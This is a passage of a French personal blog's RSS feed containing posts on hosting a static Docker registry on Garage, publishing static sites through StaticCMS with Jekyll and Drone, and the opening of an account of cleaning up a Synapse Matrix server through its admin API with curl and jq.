aws s3 &lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--content-type&lt;/span&gt; application/vnd.docker.distribution.manifest.v2+json &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  73a20980fd232dc7acd51d21df6c7c9964bc7c5fbcfdc098b95cfd221bf67bf6.manifest.json &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  s3://quentin.dufour.io/v2/garage/manifests/sha256:73a20980fd232dc7acd51d21df6c7c9964bc7c5fbcfdc098b95cfd221bf67bf6
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Enfin, on copie les blobs, qui contiennent par exemple les layers de chaque images. Plutôt que de copier à la main, cette fois-ci je fais une boucle :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;i &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-P&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;^[a-f0-9]+$&apos;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do 
  &lt;/span&gt;aws s3 &lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;s3://quentin.dufour.io/v2/garage/blobs/sha256:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Et voilà !&lt;/p&gt;

&lt;h2 id=&quot;tester-notre-registre&quot;&gt;Tester notre registre&lt;/h2&gt;

&lt;p&gt;On peut d’abord essayer avec skopeo la même commande qu’on a exécuté sur le Docker Hub pour dump toutes nos images :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;skopeo &lt;span class=&quot;nt&quot;&gt;--insecure-policy&lt;/span&gt; copy &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--all&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--format&lt;/span&gt; v2s2 &lt;span class=&quot;nt&quot;&gt;--dest-compress&lt;/span&gt; 
  docker://quentin.dufour.io/garage:v0.8.2 
  &lt;span class=&quot;nb&quot;&gt;dir&lt;/span&gt;:/tmp/garage-s3-registry
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Et puis, plus simplement, avec Docker directement :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker pull quentin.dufour.io/garage:v0.8.2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Et pourquoi pas tenter même de lancer notre conteneur ?&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;docker run &lt;span class=&quot;nt&quot;&gt;--rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-it&lt;/span&gt; quentin.dufour.io/garage:v0.8.2 /garage &lt;span class=&quot;nb&quot;&gt;help
&lt;/span&gt;garage v0.8.2 &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;features: k2v, sled, lmdb, sqlite, consul-discovery, kubernetes-discovery, metrics, telemetry-otlp, bundled-libs]
S3-compatible object store &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;self-hosted geo-distributed deployments
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Nous y voilà : nous savons créer un registre Docker statique ! Et maintenant, pourquoi ne pas construire nos images directement avec Nix ?&lt;/p&gt;

&lt;h2 id=&quot;construire-limage-nous-même-avec-nix&quot;&gt;Construire l’image nous-même avec Nix&lt;/h2&gt;

&lt;p&gt;On va utiliser &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pkgs.dockerTools.buildImage&lt;/code&gt; pour générer une archive docker qui va ressembler à ça :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ tar -tvf result
dr-xr-xr-x root/root         0 1980-01-01 01:00 ./
dr-xr-xr-x root/root         0 1980-01-01 01:00 4bc17b9fc1404e9543364c02ec354faee7ca6e004dc829994a61fd42935e00aa/
-r--r--r-- root/root         3 1980-01-01 01:00 4bc17b9fc1404e9543364c02ec354faee7ca6e004dc829994a61fd42935e00aa/VERSION
-r--r--r-- root/root       396 1980-01-01 01:00 4bc17b9fc1404e9543364c02ec354faee7ca6e004dc829994a61fd42935e00aa/json
-r--r--r-- root/root   9932800 1980-01-01 01:00 4bc17b9fc1404e9543364c02ec354faee7ca6e004dc829994a61fd42935e00aa/layer.tar
-r--r--r-- root/root       447 1980-01-01 01:00 e9eaf28bc5306e0390c8e3d7ec7f072933c67a5e5dadcd4b4e699cdcbee20d00.json
-r--r--r-- root/root       286 1980-01-01 01:00 manifest.json
-r--r--r-- root/root       135 1980-01-01 01:00 repositories
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;De cette archive, on va pas se casser la tête dans un premier temps, on va simplement demander à skopeo de nous la convertir dans le format que l’on connait :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;skopeo &lt;span class=&quot;nt&quot;&gt;--insecure-policy&lt;/span&gt; copy docker-archive:result &lt;span class=&quot;nb&quot;&gt;dir&lt;/span&gt;:/tmp/albatros-img
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ensuite on va la copier simplement comme vu précédemment :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sha256sum &lt;/span&gt;manifest.json &lt;span class=&quot;c&quot;&gt;# 840b4265d58d0358a3c4183ba0e39e7bb4c3dfb78a50cac7532476ab25666def&lt;/span&gt;
aws s3 &lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--content-type&lt;/span&gt; application/vnd.docker.distribution.manifest.v2+json manifest.json s3://quentin.dufour.io/v2/albatros/manifests/sha256:840b4265d58d0358a3c4183ba0e39e7bb4c3dfb78a50cac7532476ab25666def
aws s3 &lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--content-type&lt;/span&gt; application/vnd.docker.distribution.manifest.v2+json  manifest.json s3://quentin.dufour.io/v2/albatros/manifests/v0.9
aws s3 &lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; ./83695be784e20268eafd08d35b47f50d689d831ae4a047750a4ed2c0a29debc7 s3://quentin.dufour.io/v2/albatros/blobs/sha256:83695be784e20268eafd08d35b47f50d689d831ae4a047750a4ed2c0a29debc7
aws s3 &lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; ./e9eaf28bc5306e0390c8e3d7ec7f072933c67a5e5dadcd4b4e699cdcbee20d00 s3://quentin.dufour.io/v2/albatros/blobs/sha256:e9eaf28bc5306e0390c8e3d7ec7f072933c67a5e5dadcd4b4e699cdcbee20d00
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Et voilà, on peut lancer notre binaire maintenant :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ docker run --rm -it quentin.dufour.io/albatros:v0.9
Unable to find image &apos;quentin.dufour.io/albatros:v0.9&apos; locally
v0.9: Pulling from albatros
Digest: sha256:840b4265d58d0358a3c4183ba0e39e7bb4c3dfb78a50cac7532476ab25666def
Status: Downloaded newer image for quentin.dufour.io/albatros:v0.9
2023/04/06 16:31:42 unable to parse config, error: env: required environment variable &quot;ALBATROS_URL&quot; is not set
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Alors là on a envoyé une image simple et non une image multi-arch, mais c’est tout à fait possible à faire, l’exercice est laissé à la lectrice ou au lecture que vous êtes pour le moment. Bonne chance !&lt;/p&gt;
</description>
        <pubDate>Thu, 06 Apr 2023 16:13:14 +0200</pubDate>
        <link>https://quentin.dufour.io/blog/2023-04-06/un-registre-statique-docker-avec-garage/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2023-04-06/un-registre-statique-docker-avec-garage/</guid>
      </item>
    
    
    
      <item>
        <title>StaticCMS, une autre approche aux CMS</title>
        
        <description>&lt;p&gt;Deuxfleurs a fait le choix de stocker ses données via un système de son cru nommé &lt;a href=&quot;https://garagehq.deuxfleurs.fr&quot;&gt;Garage&lt;/a&gt;. Ce dernier a de nombreux avantages dont un va particulièrement nous intéresser ici, c’est de publier un “dossier” (on appelle ça un &lt;em&gt;bucket&lt;/em&gt;) directement comme un site web. C’est très efficace car on minimise les abstractions et les calculs à réaliser : ça consomme peu de ressources chez Deuxfleurs, et ça fait des sites rapides à consulter pour les internautes. Par contre, le site web doit être sous forme de fichiers HTML, CSS et Javascript : on ne peut pas le générer à la volée comme le fait un Wordpress, en allant chercher les informations dans une base de données. On appelle ce genre de site, “des sites statiques”, car ce sont simplement les mêmes fichiers qui sont envoyés à tout le monde pour constituer le site final.&lt;/p&gt;

&lt;p&gt;Alors si vous avez l’habitude de réaliser vos sites webs à la main, vous devriez être aux anges : en une commande, ou un glisser/déposer, votre site web est en ligne. Mais si vous êtes plutôt du genre à utiliser une interface, comme un système de gestion de contenu, alors tout devient plus compliqué…&lt;/p&gt;

&lt;p&gt;À moins que… à moins qu’on puisse combiner “sites statiques” et “CMS”. Et heureusement pour nous, les sites statiques sont à la mode, donc pas mal de gens ont travaillé sur la question ces dernières années ! Quand on est cool, on appelle ça une &lt;a href=&quot;https://jamstack.org/&quot;&gt;Jamstack&lt;/a&gt;. Ici rien à voir avec la confiture ou des concerts de musique, JAM veut dire Javascript, API et Markup. Ce concept est issu de réflexions par des développeurs web sur l’architecture idéale pour développer des sites webs. Nous, on va se contenter de garder les principes qui nous intéresse là dedans.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/screenshot-2023-02-28-at-14-47-22-for-fast-and-secure-sites-jamstack.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Un premier principe, c’est un découplage entre le &lt;em&gt;front&lt;/em&gt;, c’est à dire le site web que voient les internautes, et le &lt;em&gt;back&lt;/em&gt;, c’est à dire l’interface qui permet de créer, modifier, ou supprimer du contenu. Un autre principe, c’est que le &lt;em&gt;front&lt;/em&gt; qui est présenté aux internautes doit être le plus &lt;em&gt;pré-calculé&lt;/em&gt; possible pour que ce soit aussi rapide et économe que possible de charger une page web. À partir de ces deux principes, on a tout un ensemble de conséquences très désirables (bonnes performances, faibles coûts, sécurité, passage à l’échelle, mise en cache facilitée, etc.).&lt;/p&gt;

&lt;p&gt;Maintenant qu’on a vu la théorie, passons à la pratique, et prenons ce (billet de) blog comme exemple ! Vous lisez ce billet depuis le &lt;em&gt;front&lt;/em&gt; qui est en réalité une série de fichiers HTML, CSS et Javascript. Ces fichiers sont stockés dans Garage et ont été créés par un &lt;em&gt;générateur de site statique&lt;/em&gt;, ici le vénérable &lt;a href=&quot;https://jekyllrb.com/&quot;&gt;Jekyll&lt;/a&gt;, qui va transformer des fichiers &lt;a href=&quot;https://fr.wikipedia.org/wiki/Markdown&quot;&gt;Markdown&lt;/a&gt; en HTML. Bien sûr, Jekyll ne fonctionne pas tout seul, ni automatiquement, il faut le lancer à chaque modification. Pour automatiser ce lancement et l’envoi des fichiers, on va utiliser un &lt;em&gt;exécuteur de tâches&lt;/em&gt;, ici &lt;a href=&quot;https://www.drone.io/&quot;&gt;Drone&lt;/a&gt;. Maintenant, il faut bien stocker ces fichiers Markdown quelque part, pour ça on utilise Git, et plus particulièrement &lt;a href=&quot;https://gitea.io&quot;&gt;Gitea&lt;/a&gt;. Enfin, parce qu’éditer ces fichiers Markdown à la main, et les envoyer dans Git, est une tâche fastidieuse, on a créer une interface &lt;em&gt;back&lt;/em&gt; qui permet de cacher toute cette complexité et proposer un environnement d’écriture, nous y voilà, je parle bien de &lt;a href=&quot;https://www.staticcms.org/&quot;&gt;StaticCMS&lt;/a&gt;. Lors de votre travail de publication, vous n’aurez pas besoin de vous soucier de tout ces composants. Comme avec Wordpress, vous allez simplement intéragir avec une interface web de gestion de contenu.&lt;/p&gt;

&lt;p&gt;Pour vous en convaincre, voici le tableau de bord de notre CMS :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/20230228_15h03m03s_grim.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Et voici son interface d’écriture :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/20230228_15h02m40s_grim.png&quot; alt=&quot;&quot; /&gt;
À l’instant où je vais appuyer sur “Publier”, alors c’est tout le système qui va se mettre en branle automatiquement : mes modifications seront enregistrées (avec la gestion d’un historique pour pouvoir revenir en arrière), Drone va se lancer et construire les nouvelles pages de mon site web avec Jekyll, et ensuite les envoyer sur Garage.&lt;/p&gt;

&lt;p&gt;Alors face à tout ces composants, on pourrait critiquer que ça ajoute une complexité importante, avec de nombreuses &lt;em&gt;pièces mobiles&lt;/em&gt; (&lt;em&gt;moving parts&lt;/em&gt; en anglais), c’est à dire des composants indépendants, qu’il faut configurer pour faire fonctionner ensemble, et qui ensuite ont leur propre cycle de vie. Tout d’abord, ces composants ont des interfaces bien définies et relativement stables dans le temps, ensuite, ces configurations peuvent être automatisées et cachées. &lt;em&gt;In fine&lt;/em&gt;, une plateforme bien intégrée peut très largement réduire la complexitée perçue, tout en laissant une flexibilité très importante pour quelqu’un qui aurait des besoins spécifiques.&lt;/p&gt;

&lt;p&gt;Concrètement, aujourd’hui, vous pourriez vous demander quelles sont les étapes pour publier votre site statique avec un CMS sur Deuxfleurs ?&lt;/p&gt;

&lt;p&gt;Tout d’abord, il faut préparer un dépôt git pour votre site web. Il vous faut commencer par choisir un générateur de site statique (Jekyll, Hugo, Zola, etc.). Souvent ces générateurs ont une commande pour initialiser le dépôt avec un squelette de fichiers (exemple : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jekyll new mon-blog&lt;/code&gt;)&lt;/p&gt;

&lt;p&gt;Ensuite, suivez &lt;a href=&quot;https://www.staticcms.org/docs/add-to-your-site-cdn&quot;&gt;le guide de StaticCMS&lt;/a&gt; pour intégrer le CMS à votre dépôt de site statique. Vous devriez avoir à la fin un dossier admin avec 3 fichiers : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config.yml&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;index.html&lt;/code&gt; et &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;static-cms-app.js&lt;/code&gt; (je vous conseille en effet de “vendorer” le fichier plutôt que d’utiliser un CDN). Notez que les informations de la section &lt;em&gt;backend&lt;/em&gt; sont spécifiques à votre hébergeur, pour Deuxfleurs voici les paramètres à configurer :&lt;/p&gt;

&lt;div class=&quot;language-yml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;backend&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;gitea&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;repo&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&amp;lt;username&amp;gt;/&amp;lt;repo&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;base_url&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://teabag.deuxfleurs.fr&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;api_root&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://git.deuxfleurs.fr/api/v1&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;branch&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;main&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Vous devriez maintenant pouvoir valider vos modifications dans git, les pousser sur le dépôt, et lancer un serveur de développement local (exemple : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jekyll serve&lt;/code&gt;). En accédant à &lt;a href=&quot;http://localhost:4000/admin/&quot;&gt;http://localhost:4000/admin/&lt;/a&gt; (pensez à adapter le port) vous devriez pouvoir accéder à votre interface CMS.&lt;/p&gt;

&lt;p&gt;Une fois le CMS en place, vous pouvez configurer l’automatisation via Drone en ajoutant un fichier &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.drone.yml&lt;/code&gt;, puis en activant la CI sur votre dépôt, après avoir configuré les secrets pour publier sur Garage. Au final, vous pourrez ensuite travailler sur votre site web depuis l’URL complète de votre site, dans mon cas &lt;a href=&quot;https://quentin.dufour.io/admin/&quot;&gt;https://quentin.dufour.io/admin/&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Bien entendu, nous pourrions imaginer une interface qui vous permettrait de choisir &lt;em&gt;un thème&lt;/em&gt; de site web, et qui vous créerait automatiquement le dépôt, avec les bons fichiers, et la configuration Drone qui va bien, de sorte qu’en moins de 5 minutes vous aillez un squelette en ligne sur lequel vous pouvez ajouter du contenu ! C’est pour une autre fois ça :-)&lt;/p&gt;
</description>
        <pubDate>Tue, 28 Feb 2023 14:11:46 +0100</pubDate>
        <link>https://quentin.dufour.io/blog/2023-02-28/staticcms-une-autre-approche-aux-cms/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2023-02-28/staticcms-une-autre-approche-aux-cms/</guid>
      </item>
    
    
    
      <item>
        <title>Chroniques d&apos;administration de Synapse</title>
        
        <description>&lt;p&gt;Tout a commencé le mercredi 30 juin par un message parfaitement innocent de Max qui nous dit que les disques sont presque pleins :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/synapse-explo.png&quot; alt=&quot;Capture d&apos;écran d&apos;un message de Max alertant sur les disques presque pleins&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Pour éviter la catastrophe annoncée, je décide de trouver le coupable.
Après une rapide recherche, il apparait que PostgreSQL occupe plus de 50Go.
Ayant des SSD de 120 Go, c’est donc majoritairement PostgreSQL qui occupe de la place.
En creusant plus profondément, c’est la base de donnée de Synapse (le serveur Matrix) qui prend tout cet espace, les autres bases ne comptant que pour quelques kilo-octets.&lt;/p&gt;

&lt;p&gt;À ce même moment, nous ne le savions pas encore, mais le réseau Matrix faisait face à &lt;a href=&quot;https://matrix.org/blog/2021/06/30/security-update-synapse-1-37-1-released&quot;&gt;une vague de spam&lt;/a&gt;.
Sans être responsable de l’indisponibilité qui va suivre, elle plante le décor et participe à expliquer pourquoi nous avons été pris de court.
En effet, la croissance rapide de notre base de donnée n’est pas seulement due à des usages normaux, mais aussi au spam qui a généré beaucoup d’activité sur les autres serveurs, et via la fédération, participé à remplir notre base.&lt;/p&gt;

&lt;p&gt;Pour finir de planter le décor, notre instance Matrix a 4 ans mais n’a jamais nécessité de nettoyage ou maintenance de quelque sorte que ce soit jusqu’ici, bien que jusqu’à récemment, nous nous fédérerions avec des salons bruyants comme &lt;a href=&quot;https://view.matrix.org/room/!OGEhHVWSdvArJzumhm:matrix.org/&quot;&gt;Matrix HQ&lt;/a&gt;. Nous avons donc aucune expérience dans ce domaine.&lt;/p&gt;

&lt;p&gt;Sûr de moi, je vise une petite maintenance de deux heures où je compte supprimer les salons de discussions vides et réduire l’historique distant des salons très bruyants. La documentation sur le sujet est quasi inexistante mais je me dis que c’est parce que la tâche ne doit pas être si complexe. En réalité, la maintenance durera 4 jours et ne se sera pas passée du tout comme prévu. Je vous propose de revenir ici sur tous les points qui ont bloqué !&lt;/p&gt;

&lt;p&gt;Avant d’aller plus loin, je souhaite souligner l’existence de deux guides sur le sujet qui m’ont aidé et qui sont de très bons compléments à cet article :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://levans.fr/shrink-synapse-database.html&quot;&gt;Compressing Synapse database&lt;/a&gt; par Levans&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.tedomum.net/dev/service/matrix/administration/#nettoyage-du-serveur&quot;&gt;Administration Synapse &amp;gt; Nettoyage du serveur&lt;/a&gt; par Tedomum&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;lapi-dadministration-de-synapse&quot;&gt;L’API d’administration de Synapse&lt;/h2&gt;

&lt;p&gt;Replaçons le contexte : Matrix est un protocole, et spécifie entre autre des API de communications clients à serveurs et serveurs à serveurs.
Cependant, à ce jour, les API de Matrix ne permettent pas à des communautés de se gérer totalement en autonomie.
La preuve, nous étions en train d’épuiser les ressources du serveur mais nous pouvions rien faire en tant qu’utilisateur pour les libérer.
Au delà de la gestion des ressources, il manque aussi des outils pour la gestion du spam et la modération.&lt;/p&gt;

&lt;p&gt;En suivant l’actualité de Matrix, on peut voir qu’ils travaillent déjà sur ces fonctionnalités.
Pour la gestion de l’espace disque, ils ont une option pour définir la durée de rétention de l’historique d’un salon de discussion mais l’option n’est pas encore disponible dans l’interface.
On sait aussi qu’ils ont échangé avec la Quadrature du Net sur les questions de modération.&lt;/p&gt;

&lt;p&gt;En attendant la publication de ces fonctionnalités, les développeurs de Synapse ont déplacé ces responsabilités depuis les utilisateurs vers les administrateurs.
Ils fournissent aux administrateurs des fonctionnalités manuelles et naives via une API ne faisant pas partie de la norme Matrix.&lt;/p&gt;

&lt;p&gt;J’ai commencé par explorer cette API via l’interface web synapse-admin réalisée par la communauté.
Elle m’a permis de supprimer presque un millier de comptes invités et quelques salons de discussions vides.
Cependant, cette interface montre vite ses limites : elle est très vite ralentie quand il y a beaucoup de contenu et gèrent très mal les opérations en lot (suppression de 40 salons d’un coup par exemple). Enfin, en affichant par défaut tout le contenu qu’elle a à disposition, elle expose inutilement des données personnelles aux administrateurs.&lt;/p&gt;

&lt;p&gt;Très vite, je suis passé en ligne de commande avec &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl&lt;/code&gt; (pour les requêtes HTTP) et &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jq&lt;/code&gt; (pour intéragir avec le JSON), ce qui semble être une pratique qui fait consensus parmi les administrateurs de serveurs Synapse.
La mise en route est rapide : il faut commencer par passer un compte Synapse en administrateur dans la base de données&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;UPDATE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;users&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;SET&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;admin&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;@foo:bar.com&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ensuite, il faut récupérer un &lt;em&gt;bearer&lt;/em&gt; pour ce compte.
Pour ma part, je me suis simplement connecté sur Element avec puis j’ai utilisé l’inspecteur réseau de mon navigateur, regardé les détails d’une requête partant vers l’API et extrait l’entête &lt;em&gt;Authorization&lt;/em&gt; qui contient le &lt;em&gt;bearer&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Enfin, pour ne pas retaper le bearer à chaque fois, je définis un alias pour ma session (il faut remplacer les points d’interogation avec le &lt;em&gt;bearer&lt;/em&gt; que vous avez récupéré précédemment !) :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;alias &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;mctl&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;curl --header &quot;Authorization: Bearer ???&quot;&apos;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Vous pouvez commencer par récupérer quelques informations simples comme le nombre de salons et le nombres de comptes sur votre serveur :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mctl &lt;span class=&quot;s1&quot;&gt;&apos;https://synapse.tld/_synapse/admin/v1/rooms?limit=0&apos;&lt;/span&gt;
mctl &lt;span class=&quot;s1&quot;&gt;&apos;https://synapse.tld/_synapse/admin/v2/users?from=0&amp;amp;limit=0&amp;amp;guests=true&apos;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Maintenant qu’on a le nombre, on va vouloir récupérer la liste.
À vous de choisir si vous voulez écrire un script utilisant le système de pagination de l’API
ou tout récupérer d’un coup au risque de mettre une pression importante sur votre serveur.&lt;/p&gt;

&lt;p&gt;Ayant moins de 10 000 entrées, j’ai tout récupéré d’un coup :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mctl &lt;span class=&quot;s1&quot;&gt;&apos;https://synapse.tld/_synapse/admin/v1/rooms?limit=10000&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; rooms.json
mctl &lt;span class=&quot;s1&quot;&gt;&apos;https://synapse.tld/_synapse/admin/v2/users?from=0&amp;amp;limit=10000&amp;amp;guests=true&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; users.json
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;J’ai procédé à chaque fois en deux étapes : référencement des objets à supprimer dans un fichier puis appels à l’API.
J’ai commencé par les comptes, et plus particulièrement les comptes invités, qui étaient souvent utilisés quelques minutes avant d’être définitivement perdus :&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;users.json &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;c&quot;&gt;# requête jq manquante &lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; users_to_delete.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ensuite, &lt;a href=&quot;https://adnab.me&quot;&gt;LX&lt;/a&gt; avait développé un bridge entre Synapse et plusieurs autres protocols de communication comme Mattermost, Facebook ou IRC.
Ne nous donnant pas entière satisfaction, nous avons décidé de le décomissioner.
Le bridge devant répliqué un grand nombre de données, il était intéressant de supprimer ses données également.
Étant donné son évolution et ses différents protocoles, nous avons du réaliser plusieurs requetes via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jq&lt;/code&gt; :&lt;/p&gt;

